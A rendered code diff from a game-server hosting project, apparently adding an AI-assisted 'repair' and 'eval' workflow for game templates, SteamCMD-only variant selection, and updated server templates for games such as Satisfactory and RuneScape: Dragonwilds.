// counts when nothing inside it did (it was created empty).
func outsideFiles(diff string, mounts map[string]string) []string { func outsideFiles(diff string, mounts map[string]string) []string {
var paths []string
kinds := map[string]string{} kinds := map[string]string{}
parents := map[string]bool{}
for _, line := range strings.Split(strings.TrimSpace(diff), "\n") { for _, line := range strings.Split(strings.TrimSpace(diff), "\n") {
kind, p, ok := strings.Cut(strings.TrimSpace(line), " ") kind, p, ok := strings.Cut(strings.TrimSpace(line), " ")
if !ok || kind == "D" || p == "" { if !ok || p == "" {
continue continue
} }
skip := transientExt[strings.ToLower(path.Ext(p))] kinds[p] = kind
for _, prefix := range systemPrefixes { for d := path.Dir(p); d != "/" && d != "."; d = path.Dir(d) {
if p == prefix || strings.HasPrefix(p, prefix+"/") { parents[d] = true
skip = true
}
}
for mount := range mounts {
if p == mount || strings.HasPrefix(p, mount+"/") {
skip = true
}
}
if !skip {
paths = append(paths, p)
kinds[p] = kind
} }
} }
sort.Strings(paths) var files []string
var leaves []string for p, kind := range kinds {
for i, p := range paths { if kind != "D" && !parents[p] && !notGameState(p) && !inMounts(p, mounts) {
// A folder is followed (sorted) by the entries inside it files = append(files, p)
if i+1 < len(paths) && strings.HasPrefix(paths[i+1], p+"/") {
continue
} }
leaves = append(leaves, kinds[p]+" "+p)
} }
return leaves sort.Strings(files)
for i, p := range files {
files[i] = kinds[p] + " " + p
}
return files
}
func inMounts(p string, mounts map[string]string) bool {
for mount := range mounts {
if p == mount || strings.HasPrefix(p, mount+"/") {
return true
}
}
return false
} }
func (b *booter) cleanup() { func (b *booter) cleanup() {
+16 -1
View File
@@ -113,15 +113,30 @@ A /home/steam/.config/example
A /home/steam/.config/example/worlds A /home/steam/.config/example/worlds
A /home/steam/.config/example/worlds/world1.db A /home/steam/.config/example/worlds/world1.db
A /home/steam/.config/example/worlds/world1.fwl A /home/steam/.config/example/worlds/world1.fwl
A /home/steam/.config/example/worlds.bak
A /home/steam/.config/example/Player.log A /home/steam/.config/example/Player.log
C /home/steam/logs
A /home/steam/logs/server.log
C /home/steam/Steam
C /home/steam/Steam/config
C /home/steam/Steam/config/config.vdf
C /home/steam/steamcmd/linux64/steamclient.so
C /etc C /etc
C /etc/hostname C /etc/hostname
C /usr
C /usr/sbin
A /usr/sbin/docker-init
C /var
C /var/log
A /var/log/x
A /tmp/x.sock A /tmp/x.sock
A /server/should-not-count.sav A /server/should-not-count.sav
D /home/steam/old.txt D /home/steam/old.txt
A /home/steam/server.pid` A /home/steam/server.pid`
got := outsideFiles(diff, map[string]string{"/server": "v", "/data": "v"}) got := outsideFiles(diff, map[string]string{"/server": "v", "/data": "v"})
want := []string{"A /home/steam/.config/example/worlds/world1.db", "A /home/steam/.config/example/worlds/world1.fwl"} // Folders whose only changes aren't the game's (logs, Docker's init) don't count either
want := []string{"A /home/steam/.config/example/worlds.bak", "A /home/steam/.config/example/worlds/world1.db",
"A /home/steam/.config/example/worlds/world1.fwl"}
if strings.Join(got, "|") != strings.Join(want, "|") { if strings.Join(got, "|") != strings.Join(want, "|") {
t.Errorf("got %q\nwant %q", got, want) t.Errorf("got %q\nwant %q", got, want)
} }
+1 -1
View File
@@ -23,7 +23,7 @@ var gameFields = []string{
"defaultConfig", "configSchema", "configFilePath", "configFileFormat", "configFormatOptions", "defaultConfig", "configSchema", "configFilePath", "configFileFormat", "configFormatOptions",
"agnosticCommandConfig", "clusterConfig", "agnosticCommandConfig", "clusterConfig",
"logFilePath", "readyPattern", "failPatterns", "backupPaths", "maxBackupSizeMb", "logFilePath", "readyPattern", "failPatterns", "backupPaths", "maxBackupSizeMb",
"publicIpConfigKey", "maxPlayersConfigKey", "mapConfigKey", "publicIpConfigKey", "portMode", "maxPlayersConfigKey", "mapConfigKey",
"aiCoverPrompt", "aiCoverPrompt",
} }
+11 -2
View File
@@ -4,12 +4,15 @@
// go run ./cmd/gbrgames import export.json # write games/<id>/ from GET /api/v1/admin/games // go run ./cmd/gbrgames import export.json # write games/<id>/ from GET /api/v1/admin/games
// go run ./cmd/gbrgames export -out p.json # build the games_published payload CI sends to the panel // go run ./cmd/gbrgames export -out p.json # build the games_published payload CI sends to the panel
// go run ./cmd/gbrgames boottest-payload ID # build the deploy message the node-agent's BootTest runs // go run ./cmd/gbrgames boottest-payload ID # build the deploy message the node-agent's BootTest runs
// go run ./cmd/gbrgames boot-test ID # boot-test a game with the node-agent, as CI does (Steam cache)
// go run ./cmd/gbrgames inspect-image -game ID # read the image's facts and check the template against them // go run ./cmd/gbrgames inspect-image -game ID # read the image's facts and check the template against them
// go run ./cmd/gbrgames first-boot -game ID # start the server once, untouched; record its log and files // go run ./cmd/gbrgames first-boot -game ID # start the server once, untouched; record its log and files
// go run ./cmd/gbrgames draft -name N -image I # have an AI model write a new game's template from those facts // go run ./cmd/gbrgames draft -name N -image I # have an AI model write a new game's template from those facts
// go run ./cmd/gbrgames research -name N # find how a game's server runs: variants, images, Steam app // go run ./cmd/gbrgames research -name N # find how a game's server runs: variants, images, Steam app
// go run ./cmd/gbrgames build -name N -variant V # first boot, draft, and boot the draft until it works // go run ./cmd/gbrgames build -name N -variant V # first boot, draft, and boot the draft until it works
// go run ./cmd/gbrgames worker # take research/build jobs from the panel (see BUILDER.md) // go run ./cmd/gbrgames repair -id ID # fix an existing template that no longer boots
// go run ./cmd/gbrgames eval -ids all # build known games blind and score the drafts
// go run ./cmd/gbrgames worker # take research/build/repair jobs from the panel (see BUILDER.md)
package main package main
import ( import (
@@ -31,6 +34,8 @@ func main() {
err = runExport(os.Args[2:]) err = runExport(os.Args[2:])
case "boottest-payload": case "boottest-payload":
err = runBootTestPayload(os.Args[2:]) err = runBootTestPayload(os.Args[2:])
case "boot-test":
err = runBootTest(os.Args[2:])
case "inspect-image": case "inspect-image":
err = runInspectImage(os.Args[2:]) err = runInspectImage(os.Args[2:])
case "first-boot": case "first-boot":
@@ -41,6 +46,10 @@ func main() {
err = runResearch(os.Args[2:]) err = runResearch(os.Args[2:])
case "build": case "build":
err = runBuild(os.Args[2:]) err = runBuild(os.Args[2:])
case "repair":
err = runRepair(os.Args[2:])
case "eval":
err = runEval(os.Args[2:])
case "worker": case "worker":
err = runWorker(os.Args[2:]) err = runWorker(os.Args[2:])
default: default:
@@ -53,6 +62,6 @@ func main() {
} }
func usage() { func usage() {
fmt.Fprintln(os.Stderr, "usage: gbrgames validate [-games DIR] | import [-games DIR] [-all] EXPORT.json | export [-repo R] [-commit SHA] [-out FILE] | boottest-payload [-out FILE] ID | inspect-image [-game ID] [-json] [-no-pull] [IMAGE] | first-boot [-game ID | -image IMAGE] [-env K=V] [-max D] [-quiet D] [-out DIR] | draft -name NAME -image IMAGE [-steam-app ID] [-first-boot REPORT] [-provider ollama|gemini] [-model M] | research -name NAME [-notes N] [-out FILE] | build -name NAME -variant JSON|@FILE [-out FILE] | worker [-once]") fmt.Fprintln(os.Stderr, "usage: gbrgames validate [-games DIR] | import [-games DIR] [-all] EXPORT.json | export [-repo R] [-commit SHA] [-out FILE] | boottest-payload [-out FILE] ID | boot-test ID | inspect-image [-game ID] [-json] [-no-pull] [IMAGE] | first-boot [-game ID | -image IMAGE] [-env K=V] [-max D] [-quiet D] [-out DIR] | draft -name NAME -image IMAGE [-steam-app ID] [-first-boot REPORT] [-provider ollama|gemini] [-model M] | research -name NAME [-notes N] [-out FILE] | build -name NAME -variant JSON|@FILE [-out FILE] | repair -id ID [-reason R] | eval [-ids all] [-out eval.md] | worker [-once]")
os.Exit(2) os.Exit(2)
} }
+140
View File
@@ -0,0 +1,140 @@
package main
import (
"encoding/json"
"errors"
"flag"
"fmt"
"os"
"path/filepath"
"strings"
)
// repair fixes an existing template that stopped working (a game update, a changed image), the way build
// fixes a fresh draft: the template is booted as nodes run it, a failure is investigated and diagnosed,
// and the model changes only what the diagnosis says. A template that boots as it is needs no repair.
// The result replaces games/<id>/ in a pull request.
func runRepair(args []string) error {
fs := flag.NewFlagSet("repair", flag.ExitOnError)
gamesDir := fs.String("games", "games", "directory holding one folder per game")
schemaDir := fs.String("schemas", "schema", "directory holding the JSON Schemas")
id := fs.String("id", "", "the game to repair (its folder under -games)")
reason := fs.String("reason", "", "why it is being repaired, e.g. the failing boot test")
provider := fs.String("provider", "ollama", "ollama or gemini")
modelName := fs.String("model", "", "model name (default as for draft)")
attempts := fs.Int("attempts", 3, "fix rounds for validation problems, each time")
bootRounds := fs.Int("boot-rounds", 5, "boots of the template at most")
out := fs.String("out", "", "write the result JSON here")
fs.Parse(args)
if *id == "" {
return errors.New("repair needs -id")
}
res, err := repair(buildOptions{gamesDir: *gamesDir, schemaDir: *schemaDir, id: *id, notes: *reason,
provider: *provider, model: *modelName, attempts: *attempts, bootRounds: *bootRounds, agentImage: agentImageFromEnv()})
if res != nil && *out != "" {
raw, _ := json.MarshalIndent(res, "", " ")
if werr := os.WriteFile(*out, raw, 0o644); werr != nil && err == nil {
err = werr
}
}
if err != nil {
return err
}
switch {
case res.NoChange:
fmt.Printf("[repair] %s boots as it is: nothing to repair\n", res.Dir)
case res.Passed:
fmt.Printf("[repair] %s repaired and booted with the node-agent\n", res.Dir)
default:
return fmt.Errorf("%s still has problems:\n- %s", res.Dir, strings.Join(res.Problems, "\n- "))
}
return nil
}
func repair(o buildOptions) (*buildResult, error) {
dir := filepath.Join(o.gamesDir, o.id)
g, err := loadMap(filepath.Join(dir, "game.yaml"))
if err != nil {
return nil, err
}
test, _ := loadMap(filepath.Join(dir, "test.yaml"))
if test == nil {
test = map[string]any{}
}
o.name, _ = g["name"].(string)
image, _ := g["defaultDockerImage"].(string)
steamApp := ""
if ic, ok := g["installConfig"].(map[string]any); ok && g["installMethod"] == "STEAMCMD" {
steamApp = fmt.Sprint(ic["appId"])
}
res := &buildResult{GameID: o.id, Dir: dir, Image: image, Repair: true}
if out, err := runCmd("docker", "pull", "-q", image); err != nil {
return res, fmt.Errorf("docker pull %s: %v: %s", image, err, out)
}
// The model starts from the template as it is, as if it had written it, with the facts read from the
// image; it only ever gets asked to fix what a diagnosis found
notes := "this game already has a template (your previous answer) that a node can no longer run. Repair it: " +
"change only what each diagnosis says, and keep everything that works"
if o.notes != "" {
notes += ". Why it is being repaired: " + o.notes
}
d, err := newDrafter(draftJob{GamesDir: o.gamesDir, SchemaDir: o.schemaDir, Name: o.name, ID: o.id, Image: image,
SteamApp: steamApp, Notes: notes, Provider: o.provider, Model: o.model, NoPull: true, Repair: true})
if err != nil {
return res, err
}
current, err := json.Marshal(map[string]any{"game": g, "test": test})
if err != nil {
return res, err
}
d.last = string(current)
if err := bootAndFix(o, d, res, true); err != nil {
return res, err
}
res.NoChange = res.Passed && d.rounds == 0
if res.NoChange {
res.Verified = append(res.Verified, "the template boots as it is: nothing to repair")
}
res.Summary = repairSummary(o, res)
return res, nil
}
// repairSummary is the pull request's description for a repair.
func repairSummary(o buildOptions, res *buildResult) string {
var b strings.Builder
fmt.Fprintf(&b, "Repaired by the GBR AI builder. **Review before merging**: the diff shows exactly what changed.\n\n")
fmt.Fprintf(&b, "- Game: **%s** (`games/%s`)\n- Image: `%s`\n- Model rounds: %d\n", o.name, o.id, res.Image, res.Rounds)
if o.notes != "" {
fmt.Fprintf(&b, "- Why: %s\n", o.notes)
}
if len(res.Verified) > 0 {
b.WriteString("\n**Checked for real** (measured by the builder, not the model's word)\n")
for _, v := range res.Verified {
fmt.Fprintf(&b, "- %s\n", v)
}
}
if g, err := loadMap(filepath.Join(res.Dir, "game.yaml")); err == nil {
if urls := downloadURLs(g); len(urls) > 0 {
b.WriteString("\n**Review carefully: nodes download from these addresses**\n")
for _, u := range urls {
fmt.Fprintf(&b, "- %s\n", u)
}
}
}
if len(res.Problems) > 0 {
b.WriteString("\n**Still open** (the builder could not fix these)\n")
for _, p := range res.Problems {
fmt.Fprintf(&b, "- %s\n", firstLine(p))
}
}
if len(res.Diagnoses) > 0 {
b.WriteString("\n**What the builder found** (after each failed boot)\n")
for i, a := range res.Diagnoses {
fmt.Fprintf(&b, "%d. Cause: %s\n Fix: %s\n Outcome: %s\n", i+1, firstLine(a.Cause), firstLine(a.Fix), a.Outcome)
}
}
return b.String()
}
+30 -8
View File
@@ -174,9 +174,10 @@ const researchPrompt = "You research how to host a game's dedicated server for G
"the ways this game's dedicated server can be run (variants): separate editions of the game with their own server, " + "the ways this game's dedicated server can be run (variants): separate editions of the game with their own server, " +
"crossplay builds, or notably different server images. For each variant give:\n" + "crossplay builds, or notably different server images. For each variant give:\n" +
"- images: how to run this server, best first. When the game has a dedicated server on Steam that runs on Linux, " + "- images: how to run this server, best first. When the game has a dedicated server on Steam that runs on Linux, " +
"cm2network/steamcmd (the plain SteamCMD route, installing the server into /server) always comes first and that " + "cm2network/steamcmd (the plain SteamCMD route, installing the server into /server) is its only image, and " +
"variant is the recommended one. Then Docker Hub images that appear in the pages and run as a non-root user " + "there is no separate variant for a community image of the same server: those keep their saves outside /server. " +
"(needed for servers that only exist for Windows).\n" + "Docker Hub images that appear in the pages and run as a non-root user are only for servers that aren't on Steam " +
"for Linux (Windows-only servers that need Proton or Wine, games not on Steam).\n" +
"- steamAppId: the Steam app id of the DEDICATED SERVER (not the game itself), if installed via SteamCMD; else \"\".\n" + "- steamAppId: the Steam app id of the DEDICATED SERVER (not the game itself), if installed via SteamCMD; else \"\".\n" +
"- startupHint: the command that starts the server from its install folder /server, with the launch options " + "- startupHint: the command that starts the server from its install folder /server, with the launch options " +
"for name, port, world and save location exactly as the pages document them; \"\" if unknown.\n" + "for name, port, world and save location exactly as the pages document them; \"\" if unknown.\n" +
@@ -237,11 +238,15 @@ func pickPages(hits []searchHit, n int) []searchHit {
return out return out
} }
// Our own sites (the public templates, the panel) are never a source: research would read our templates
// back, and an eval build would copy the answer it's being scored against
var ownSites = regexp.MustCompile(`(?i)^https?://([a-z0-9-]+\.)*(gbreed\.com|gbrhosting\.com)(/|:|$)`)
func dedupeHits(hits []searchHit) []searchHit { func dedupeHits(hits []searchHit) []searchHit {
seen := map[string]bool{} seen := map[string]bool{}
var out []searchHit var out []searchHit
for _, h := range hits { for _, h := range hits {
if h.URL == "" || seen[h.URL] { if h.URL == "" || seen[h.URL] || ownSites.MatchString(h.URL) {
continue continue
} }
seen[h.URL] = true seen[h.URL] = true
@@ -307,7 +312,7 @@ func verifyVariants(res *researchResult) {
} }
} }
apps := steamApps(appIDs) apps := steamApps(appIDs)
anyRunnable := false anyRunnable, linuxSteam := false, false
for i := range res.Variants { for i := range res.Variants {
v := &res.Variants[i] v := &res.Variants[i]
var images []string var images []string
@@ -329,7 +334,8 @@ func verifyVariants(res *researchResult) {
v.Verified = append(v.Verified, fmt.Sprintf("Steam app %s is %q", v.SteamAppID, app.name)) v.Verified = append(v.Verified, fmt.Sprintf("Steam app %s is %q", v.SteamAppID, app.name))
v.Images = withSteamCMD(v.Images, app.linux) v.Images = withSteamCMD(v.Images, app.linux)
if app.linux { if app.linux {
v.Verified = append(v.Verified, "it ships a Linux server, so the SteamCMD option (installing it into /server) is recommended") linuxSteam = true
v.Verified = append(v.Verified, "it ships a Linux server, so it is installed with SteamCMD into /server")
} }
} else { } else {
v.Problems = append(v.Problems, "Steam app "+v.SteamAppID+" not found for anonymous SteamCMD") v.Problems = append(v.Problems, "Steam app "+v.SteamAppID+" not found for anonymous SteamCMD")
@@ -348,10 +354,26 @@ func verifyVariants(res *researchResult) {
res.Reason = "unknown" res.Reason = "unknown"
res.Message = "No variant has a Docker image or Steam app that could be confirmed. " + res.Message res.Message = "No variant has a Docker image or Steam app that could be confirmed. " + res.Message
} }
if linuxSteam {
res.Variants = steamCMDOnly(res.Variants)
}
res.Variants = oneOptionPerImage(res.Variants) res.Variants = oneOptionPerImage(res.Variants)
recommend(res.Variants) recommend(res.Variants)
} }
// steamCMDOnly keeps only the SteamCMD options once the game has a Linux server on Steam. Ready-made images
// of such servers keep their files and saves in their own folders (/config, /home/...), outside /server,
// and read settings from their own variables, so they can't be made or repaired into a working template.
func steamCMDOnly(variants []variant) []variant {
var out []variant
for _, v := range variants {
if len(v.Images) > 0 && isSteamCMDImage(v.Images[0]) && v.SteamAppID != "" {
out = append(out, v)
}
}
return out
}
// recommend marks exactly one variant recommended, among the runnable ones. A variant that installs a Linux // recommend marks exactly one variant recommended, among the runnable ones. A variant that installs a Linux
// server with SteamCMD comes before the model's choice: it keeps everything under /server, as nodes need. // server with SteamCMD comes before the model's choice: it keeps everything under /server, as nodes need.
func recommend(variants []variant) { func recommend(variants []variant) {
@@ -418,7 +440,7 @@ func steamApps(apps []string) map[string]steamApp {
} }
// withSteamCMD adds the plain SteamCMD route to a variant's images. When the Steam app ships a Linux server // withSteamCMD adds the plain SteamCMD route to a variant's images. When the Steam app ships a Linux server
// it goes first: it installs into /server, which nodes keep, while ready-made images often keep their // it is the only route: it installs into /server, which nodes keep, while ready-made images keep their
// files elsewhere. For Windows-only servers it stays last, behind images that bring Proton or Wine. // files elsewhere. For Windows-only servers it stays last, behind images that bring Proton or Wine.
func withSteamCMD(images []string, linux bool) []string { func withSteamCMD(images []string, linux bool) []string {
var others []string var others []string
@@ -428,7 +450,7 @@ func withSteamCMD(images []string, linux bool) []string {
} }
} }
if linux { if linux {
return append([]string{"cm2network/steamcmd"}, others...) return []string{"cm2network/steamcmd"}
} }
return append(others, "cm2network/steamcmd") return append(others, "cm2network/steamcmd")
} }
+26 -3
View File
@@ -59,10 +59,10 @@ func TestParseAppInfoFindsLinuxServers(t *testing.T) {
} }
} }
func TestWithSteamCMDGoesFirstOnlyForLinuxServers(t *testing.T) { func TestWithSteamCMDIsTheOnlyRouteForLinuxServers(t *testing.T) {
images := []string{"someone/example-server", "cm2network/steamcmd", "other/example"} images := []string{"someone/example-server", "cm2network/steamcmd", "other/example"}
got := withSteamCMD(images, true) got := withSteamCMD(images, true)
if len(got) != 3 || got[0] != "cm2network/steamcmd" || got[1] != "someone/example-server" { if len(got) != 1 || got[0] != "cm2network/steamcmd" {
t.Errorf("linux: %v", got) t.Errorf("linux: %v", got)
} }
got = withSteamCMD([]string{"someone/proton-example"}, false) got = withSteamCMD([]string{"someone/proton-example"}, false)
@@ -89,10 +89,22 @@ func TestRecommendPrefersTheSteamCMDVariant(t *testing.T) {
} }
} }
func TestSteamCMDOnlyDropsImageVariantsOfLinuxSteamGames(t *testing.T) {
// A Linux Steam server researched as two variants: SteamCMD, and a community image under its own title
got := steamCMDOnly([]variant{
{ID: "dedicated", SteamAppID: "1000000", Images: []string{"cm2network/steamcmd"}},
{ID: "vanilla-stable", Images: []string{"someone/example-server"}},
})
if len(got) != 1 || got[0].ID != "dedicated" {
t.Errorf("got %+v", got)
}
}
func TestOneOptionPerImageThenSteamCMDRecommended(t *testing.T) { func TestOneOptionPerImageThenSteamCMDRecommended(t *testing.T) {
// A variant runnable two ways becomes one option per way, SteamCMD recommended
v := oneOptionPerImage([]variant{{ v := oneOptionPerImage([]variant{{
ID: "dedicated", Title: "Example Dedicated Server", Recommended: true, SteamAppID: "1000000", ID: "dedicated", Title: "Example Dedicated Server", Recommended: true, SteamAppID: "1000000",
Images: withSteamCMD([]string{"someone/example-server"}, true), Images: []string{"cm2network/steamcmd", "someone/example-server"},
Verified: []string{"image someone/example-server exists", "Steam app 1000000 is \"Example Dedicated Server\""}, Verified: []string{"image someone/example-server exists", "Steam app 1000000 is \"Example Dedicated Server\""},
}}) }})
recommend(v) recommend(v)
@@ -112,3 +124,14 @@ func TestOneOptionPerImageThenSteamCMDRecommended(t *testing.T) {
} }
} }
} }
func TestResearchSkipsOurOwnSites(t *testing.T) {
got := dedupeHits([]searchHit{
{URL: "https://www.gitea.gbreed.com/gbreed-public/gbr-games/src/branch/main/games/x/game.yaml"},
{URL: "https://gbrhosting.com/games"},
{URL: "https://example.com/server-guide"},
})
if len(got) != 1 || got[0].URL != "https://example.com/server-guide" {
t.Errorf("got %v", got)
}
}
+52 -7
View File
@@ -32,7 +32,8 @@ import (
type builderJob struct { type builderJob struct {
ID string `json:"id"` ID string `json:"id"`
Kind string `json:"kind"` // "research" or "build" Kind string `json:"kind"` // "research", "build" or "repair"
GameID string `json:"gameId"` // repair: the template to fix
GameName string `json:"gameName"` GameName string `json:"gameName"`
Notes string `json:"notes"` Notes string `json:"notes"`
Variant json.RawMessage `json:"variant"` Variant json.RawMessage `json:"variant"`
@@ -43,6 +44,8 @@ type jobResult struct {
Build *buildResult `json:"build,omitempty"` Build *buildResult `json:"build,omitempty"`
PRURL string `json:"prUrl,omitempty"` PRURL string `json:"prUrl,omitempty"`
Error string `json:"error,omitempty"` Error string `json:"error,omitempty"`
// A repair whose template already boots: no pull request
NoChange bool `json:"noChange,omitempty"`
} }
type workerConfig struct { type workerConfig struct {
@@ -258,6 +261,30 @@ func (c *workerConfig) handle(job *builderJob) *jobResult {
return &jobResult{Build: res, Error: "opening the pull request: " + err.Error()} return &jobResult{Build: res, Error: "opening the pull request: " + err.Error()}
} }
return &jobResult{Build: res, PRURL: pr} return &jobResult{Build: res, PRURL: pr}
case "repair":
if job.GameID == "" {
return &jobResult{Error: "a repair job needs gameId"}
}
args := append([]string{"repair", "-id", job.GameID, "-reason", job.Notes, "-out", resultFile}, modelArgs...)
runErr := c.runStreamed(job.ID, dir, self, args, "BOOT_TEST")
res := &buildResult{}
if err := readJSON(resultFile, res); err != nil {
msg := "the repair produced no result"
if runErr != nil {
msg = runErr.Error()
}
return &jobResult{Error: msg}
}
if res.NoChange {
return &jobResult{Build: res, NoChange: true}
}
c.progress(job.ID, "OPENING_PR", []string{"[worker] opening the pull request"})
pr, err := c.openPR(dir, job, res)
if err != nil {
return &jobResult{Build: res, Error: "opening the pull request: " + err.Error()}
}
return &jobResult{Build: res, PRURL: pr}
} }
return &jobResult{Error: "unknown job kind " + job.Kind} return &jobResult{Error: "unknown job kind " + job.Kind}
} }
@@ -369,14 +396,22 @@ func (c *workerConfig) openPR(dir string, job *builderJob, res *buildResult) (st
summary += fmt.Sprintf("\nReplaces #%d (closed, branch deleted).\n", n) summary += fmt.Sprintf("\nReplaces #%d (closed, branch deleted).\n", n)
} }
auth := "http.extraHeader=Authorization: token " + c.botToken auth := "http.extraHeader=Authorization: token " + c.botToken
commit, title := prText(job.GameName, job.ID, res)
if res.Repair {
// A repair that changed nothing has nothing to propose
diff := exec.Command("git", "status", "--porcelain", "--", filepath.ToSlash(res.Dir))
diff.Dir = dir
if out, _ := diff.Output(); len(strings.TrimSpace(string(out))) == 0 {
return "", errors.New("the repair changed nothing in the template: " + strings.Join(res.Problems, "; "))
}
}
steps := []struct { steps := []struct {
name string name string
args []string args []string
}{ }{
{"checkout", []string{"checkout", "-q", "-b", branch}}, {"checkout", []string{"checkout", "-q", "-b", branch}},
{"add", []string{"add", filepath.ToSlash(res.Dir)}}, {"add", []string{"add", filepath.ToSlash(res.Dir)}},
{"commit", []string{"-c", "user.name=" + c.botLogin, "-c", "user.email=" + c.botEmail, "commit", "-q", "-m", {"commit", []string{"-c", "user.name=" + c.botLogin, "-c", "user.email=" + c.botEmail, "commit", "-q", "-m", commit}},
fmt.Sprintf("feat(games): draft %s\n\nDrafted and boot-tested by the GBR builder (job %s).", job.GameName, job.ID)}},
// Forced: the branch is the bot's own, and whatever was on it was the draft being replaced // Forced: the branch is the bot's own, and whatever was on it was the draft being replaced
{"push", []string{"-c", auth, "push", "-q", "--force", "origin", branch}}, {"push", []string{"-c", auth, "push", "-q", "--force", "origin", branch}},
} }
@@ -388,10 +423,6 @@ func (c *workerConfig) openPR(dir string, job *builderJob, res *buildResult) (st
return "", fmt.Errorf("git %s: %s", s.name, strings.ReplaceAll(string(out), c.botToken, "***")) return "", fmt.Errorf("git %s: %s", s.name, strings.ReplaceAll(string(out), c.botToken, "***"))
} }
} }
title := "feat(games): add " + job.GameName
if !res.Passed {
title = "WIP: " + title + " (did not boot yet)"
}
var pr struct { var pr struct {
HTMLURL string `json:"html_url"` HTMLURL string `json:"html_url"`
} }
@@ -489,3 +520,17 @@ func readJSON(p string, out any) error {
} }
return json.Unmarshal(raw, out) return json.Unmarshal(raw, out)
} }
// prText is the commit message and pull request title for a new game or a repair.
func prText(gameName, jobID string, res *buildResult) (commit, title string) {
commit = fmt.Sprintf("feat(games): draft %s\n\nDrafted and boot-tested by the GBR builder (job %s).", gameName, jobID)
title = "feat(games): add " + gameName
if res.Repair {
commit = fmt.Sprintf("fix(games): repair %s\n\nRepaired and boot-tested by the GBR builder (job %s).", gameName, jobID)
title = "fix(games): repair " + gameName
}
if !res.Passed {
title = "WIP: " + title + " (did not boot yet)"
}
return commit, title
}
+4
View File
@@ -4,3 +4,7 @@ config:
EULA: true EULA: true
readyExample: '[21:37:42 INFO]: Done (16.390s)! For help, type "help"' readyExample: '[21:37:42 INFO]: Done (16.390s)! For help, type "help"'
timeoutSec: 900 timeoutSec: 900
# Bedrock players go through Geyser's NetherNet transport (see JVM_OPTS), which opens no UDP socket at
# startup: after boot the server listens on 25565/tcp and 19132/tcp only. To verify with a Bedrock client.
unboundPorts:
- 19132/udp
@@ -2,7 +2,7 @@
id: runescape-dragonwilds-native-linux id: runescape-dragonwilds-native-linux
name: 'RuneScape: Dragonwilds (Native Linux Server)' name: 'RuneScape: Dragonwilds (Native Linux Server)'
defaultDockerImage: cm2network/steamcmd:root defaultDockerImage: cm2network/steamcmd:root
defaultStartupCommand: ./RSDragonwildsServer.sh -log -Port=7777 defaultStartupCommand: ./RSDragonwildsServer.sh -log -Port={PUBLIC_PORT_7777} -BeaconPort={PUBLIC_PORT_8888}
requiredMemoryMb: 10240 requiredMemoryMb: 10240
requiredDiskMb: 20480 requiredDiskMb: 20480
defaultPorts: defaultPorts:
@@ -106,12 +106,13 @@ agnosticCommandConfig:
Save: Save:
type: UNSUPPORTED type: UNSUPPORTED
playerJoinRegex: 'LogNet: Join succeeded: ([^\r\n]+)' playerJoinRegex: 'LogNet: Join succeeded: ([^\r\n]+)'
playerLeaveRegex: 'LogNet: UNetConnection::.*Player(?: name)?:\s*([^,\r\n]+)' playerLeaveRegex: 'LogDomMatcherSession: Player Removed from session \[[^\]]*\]-\[([^\]]+)\]'
queryType: LOG_ONLY queryType: LOG_ONLY
logFilePath: RSDragonwilds/Saved/Logs/RSDragonwilds.log logFilePath: RSDragonwilds/Saved/Logs/RSDragonwilds.log
backupPaths: backupPaths:
- RSDragonwilds/Saved - RSDragonwilds/Saved
maxBackupSizeMb: 5000 maxBackupSizeMb: 5000
publicIpConfigKey: MULTIHOME publicIpConfigKey: MULTIHOME
portMode: MATCH_PUBLIC
maxPlayersConfigKey: MaxPlayers maxPlayersConfigKey: MaxPlayers
aiCoverPrompt: 'A cinematic wide shot of Ashenfall in the fantasy world of Gielinor from RuneScape: Dragonwilds. Ancient stone spires and forgotten fortresses rise amidst untamed wilderness. Colossal ancient dragons circle through stormy twilight skies illuminated by magical embers, while adventurers gather around a runic encampment wielding enchanted sorcery and survival gear.' aiCoverPrompt: 'A cinematic wide shot of Ashenfall in the fantasy world of Gielinor from RuneScape: Dragonwilds. Ancient stone spires and forgotten fortresses rise amidst untamed wilderness. Colossal ancient dragons circle through stormy twilight skies illuminated by magical embers, while adventurers gather around a runic encampment wielding enchanted sorcery and survival gear.'
+88 -153
View File
@@ -1,165 +1,115 @@
# yaml-language-server: $schema=../../schema/game.schema.json # yaml-language-server: $schema=../../schema/game.schema.json
# The official dedicated server (Steam app 1690800), installed by the node with anonymous SteamCMD.
# Satisfactory keeps its saves under $HOME/.config/Epic/FactoryGame, so HOME is pointed at the server
# volume; otherwise they would land in /home/steam and be lost on the next start.
# The server reads no environment variables, so the startup command writes the settings into its
# Game.ini and Engine.ini before every start, and passes the rest as launch options.
id: satisfactory-vanilla-stable id: satisfactory-vanilla-stable
name: Satisfactory (Vanilla Stable) name: Satisfactory
defaultDockerImage: wolveix/satisfactory-server:latest defaultDockerImage: cm2network/steamcmd
defaultStartupCommand: >-
export HOME=/server;
cfg=FactoryGame/Saved/Config/LinuxServer;
mkdir -p "$HOME/.steam/sdk64" "$cfg";
cp -f /home/steam/steamcmd/linux64/steamclient.so "$HOME/.steam/sdk64/" 2>/dev/null;
case "${SERVER_STREAMING:-true}" in true|True|1) ss=1;; *) ss=0;; esac;
printf '[/Script/Engine.GameSession]\nMaxPlayers=%s\n' "${MAX_PLAYERS:-4}" > "$cfg/Game.ini";
printf '[/Script/FactoryGame.FGSaveSession]\nmNumRotatingAutosaves=%s\n\n[/Script/OnlineSubsystemUtils.IpNetDriver]\nNetServerMaxTickRate=%s\nConnectionTimeout=%s\nInitialConnectTimeout=%s\n\n[/Script/Engine.GarbageCollectionSettings]\ngc.MaxObjectsInEditor=%s\ngc.MaxObjectsInGame=%s\n\n[ConsoleVariables]\nwp.Runtime.EnableServerStreaming=%s\n'
"${AUTOSAVE_NUM:-5}" "${MAX_TICK_RATE:-30}" "${CONNECTION_TIMEOUT:-30}" "${CONNECTION_TIMEOUT:-30}"
"${MAX_OBJECTS:-2162688}" "${MAX_OBJECTS:-2162688}" "$ss" > "$cfg/Engine.ini";
args=(-Port=7777 -ReliablePort=8888 -ExternalReliablePort="${EXTERNAL_RELIABLE_PORT:-8888}" -log -unattended);
case "${DISABLE_SEASONAL_EVENTS:-false}" in true|True|1) args+=(-DisableSeasonalEvents);; esac;
[ -n "${MULTIHOME:-}" ] && args+=(-multihome="$MULTIHOME");
exec ./FactoryServer.sh "${args[@]}"
requiredMemoryMb: 8192 requiredMemoryMb: 8192
requiredDiskMb: 16384 requiredDiskMb: 20480
defaultPorts: defaultPorts:
- 7777/tcp
- 7777/udp - 7777/udp
- 7777/tcp
- 8888/tcp - 8888/tcp
installMethod: NONE installMethod: STEAMCMD
installConfig:
appId: "1690800"
defaultConfig: defaultConfig:
